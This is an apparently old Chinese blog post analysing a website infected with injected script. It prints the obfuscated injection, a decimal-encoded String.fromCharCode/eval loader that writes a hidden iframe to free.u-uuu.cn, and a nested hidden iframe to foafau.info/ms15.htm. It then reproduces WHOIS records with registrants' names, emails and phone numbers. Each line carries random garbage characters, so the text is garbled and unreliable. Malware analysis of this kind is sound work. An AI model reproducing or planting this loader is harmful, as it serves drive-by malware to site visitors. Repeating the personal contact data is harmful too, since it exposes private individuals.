首发在我的博客里面，
34&n { xv ~bg?V0 http://www.areway.cn/?p=175 0,E*9y} LoqS45-) xW!2[.O5H 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
#-Ehg4W +t,JCY6 <script>t=’60,105,102,114,97,109,101,
%9uLxC; 32,115,114,99,61,104,116,116,112,58,47,47,
7[.aAGT Z; 102,114,101,101,46,117,45,117,117,117,46,99,
}&bO;o&> 110,47,101,114,114,111,114,46,104,116,109,
Y Dq5%N` 32,119,105,100,116,104,61,49,48,48,32,104,
I?EtU/AD 101,105,103,104,116,61,48,62,60,47,105,102,
Pur~Rz\ \ 114,97,109,101,62′;
OZB(4{vnyC t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
)zf&`T h/mmV:v <script>t=’60,105,102,114,97,109,101,32,115,
pa`"f&JO 114,99,61,104,116,116,112,58,47,47,102,114,
v&(PM{3o 101,101,46,117,45,117,117,117,46,99,110,47,
71Q-_Hi 101,114,114,111,114,46,104,116,109,32,119,
DUFfk6#X} 105,100,116,104,61,49,48,48,32,104,101,105,
{OXKXRCa 103,104,116,61,48,62,60,47,105,102,114,97,
M] vc W 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
.m9s+D]fI document.write(t);</script>
3#!}W#xv Akb#1Ww4 <html xmlns=”
#kR 8v[Z http://www.w3.org/1999/xhtml 8rx?mX,} “>
, -rOfk\u <head>
m+?$cyA>v <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
1 }%vZE2 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
[z5pqd- <title>首页 - 爱生活家庭网
x9hkE!{8
o cotO 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
5RrzRAxq 转换字符串后的大概内容是（谁点击后果自付）：
{ r y v7G <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
&"p7X>bd >ZTRwy`_( 查询玉米u-uuu.cn的详细信息：
XJ^dX]4 Domain Name: u-uuu.cn
D
C {l.a. ROID: 20070901s10001s64972306-cn
b MZ-{<+i Domain Status: ok
]4^9Tw6
_b Registrant Organization: 王雷
ds}: t.3}6 Registrant Name: 王雷
]+u`E Administrative Email:
czlovexs@126.com lZCTthr\ Sponsoring Registrar: 北京万网志成科技有限公司
2_'{f1bVxz Name Server:ns.yovole.com
^ _0zO$z, Name Server:ns1.yovole.com
p2cwW/^V Registration Date: 2007-09-01 17:54
r#M0X^4 A Expiration Date: 2008-09-01 17:54
Y@)/iw q 最后PING了一下地址 都没有什么….
0hVw=KDO9: outAZy=R; 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
qRlS^=# <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
0<d9al|J <script language=”javascript” src=”
F%Oy4*4 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script yr8
b?m.x >
&66-0d+Sh 这个玉米应该有可能是木马作者的：
G6]W'Kk foafau.info的详细信息：
pN|BtrN{ Access to INFO WHOIS information is provided to assist persons in
=4+Wx8ZeW determining the contents of a domain name registration record in the
: 08b&myx Afilias registry database. The data in this record is provided by
l|TiUjs Afilias Limited for informational purposes only, and Afilias does not
6jyS]($q guarantee its accuracy. This service is intended only for query-based
K x==vq%39 access. You agree that you will use this data only for lawful purposes
>c
%*:a and that, under no circumstances will you use this data to: (a) allow,
qS1byqq78l enable, or otherwise support the transmission by e-mail, telephone, or
o/ ??w:' facsimile of mass unsolicited, commercial advertising or solicitations
xF.n=z to entities other than the data recipient’s own existing customers; or
MKMWHGN (b) enable high volume, automated, electronic processes that send
BC.~wNz6 queries or data to the systems of Registry Operator, a Registrar, or
R~TzZ(Ah] Afilias except as reasonably necessary to register domain names or
)(V|d$n modify existing registrations. All rights reserved. Afilias reserves
.dM4B'OA? the right to modify these terms at any time. By submitting this query,
rWsUWA T* you agree to abide by this policy.
% xv } Domain ID:D22418703-LRMS
j
N":9+F Domain Name:FOAFAU.INFO
&m<:&h& b Created On:20-Nov-2007 16:05:42 UTC
di $\\ Ah Last Updated On:20-Nov-2007 16:05:44 UTC
HG
kL6o= Expiration Date:20-Nov-2008 16:05:42 UTC
S<fSoU+RJ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
36iDiT_ Status:CLIENT DELETE PROHIBITED
>d2U=Yk! Status:CLIENT RENEW PROHIBITED
.{r 0Szm. Status:CLIENT TRANSFER PROHIBITED
}^3CG9% Status:CLIENT UPDATE PROHIBITED
X0G6 W p Status:TRANSFER PROHIBITED
> 8%<ML Registrant ID:GODA-040110615
CCx_|> Registrant Name:liu hong
'9 @} =pE Registrant Organization:
K{DsGf , Registrant Street1:beijing
Cb:}AQ = Registrant Street2:
2aj9:S Registrant Street3:
.Y`;{) Registrant City:beijing
R2K{vs Registrant State/Province:
B'[FnJ8 ~ Registrant Postal Code:100000
5A Fy6Ab Registrant Country:CN
1j4tR #L Registrant Phone:+86.860108888777
^phgNzD Registrant Phone Ext.:
qr dA4S Registrant FAX:
m ^?a / Registrant FAX Ext.:
*DBm"{q%&k Registrant Email:bbbshiji@163.com
at<N?r Admin ID:GODA-240110615
[ {@0/5i Admin Name:liu hong
)c432). Z Admin Organization:
9W5 ~ I9% Admin Street1:beijing
5=cS5q@ Admin Street2:
L F<{/c9, Admin Street3:
vT1StOx<V Admin City:beijing
iG+hj:5 Admin State/Province:
k9Pwf"m|]( Admin Postal Code:100000
:[ P)t
% Admin Country:CN
A?)nLp&Y Admin Phone:+86.860108888777
kz=Ql|@ Admin Phone Ext.:
ZRCm'p3 Admin FAX:
)( CZK&< Admin FAX Ext.:
m+m2<|%x Admin Email:bbbshiji@163.com
t_ju[xL5B Billing ID:GODA-340110615
kn 5X:@{ Billing Name:liu hong
gdr"34%vbM Billing Organization:
^\ "@r%| Billing Street1:beijing
,/%@:Fh4 Billing Street2:
SHcFnxEAIH Billing Street3:
9Su4nt `i Billing City:beijing
cpLlkR O Billing State/Province:
JJE?!Yvc Billing Postal Code:100000
<A~a|A-QFR Billing Country:CN
r3OR7f[ Billing Phone:+86.860108888777
A [c1E[ Billing Phone Ext.:
`PoFKtVX M Billing FAX:
Gn?NY}.S Billing FAX Ext.:
rm}%C(C{J Billing Email:bbbshiji@163.com
Fi!BXngbd Tech ID:GODA-140110615
ue8"_N Tech Name:liu hong
-w'_Q"o2 Tech Organization:
2oBT
_o%/J Tech Street1:beijing
F x 4s)( Tech Street2:
]0d j##5tJ Tech Street3:
]wxjd
l Tech City:beijing
_ZMAlC*$G Tech State/Province:
>( .GIR Tech Postal Code:100000
AX{X:L8Ut2 Tech Country:CN
f\+ E&p. Tech Phone:+86.860108888777
.m gm1zz Tech Phone Ext.:
KA#P_e{<@ Tech FAX:
Sdo mG?;kV Tech FAX Ext.:
fex<9'e Tech Email:bbbshiji@163.com
> a?K ![R Name Server:NS27.DOMAINCONTROL.COM
y]U]b G{ Name Server:NS28.DOMAINCONTROL.COM
_A/ q bm Name Server:
r `;_ #&b Name Server:
a]S0|\BkN Name Server:
ovXU +8 Name Server:
K`vc&u f Name Server:
d94 Le/E Name Server:
tg~@(IT}j Name Server:
nhdOo
Name Server:
/}kG$ ~
Name Server:
qdCcMcGt Name Server:
y3+iADo.p Name Server:
L ^E#"f QKB*N)%6 接着下载每个文件里面的代码：
cfZ$V^ xM 一步一步看..
tEam6xNf, 
1 fOH$33 
-s6k 't 
7B@ 1[ 
;udV"7C 
~[@gu,Wb 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
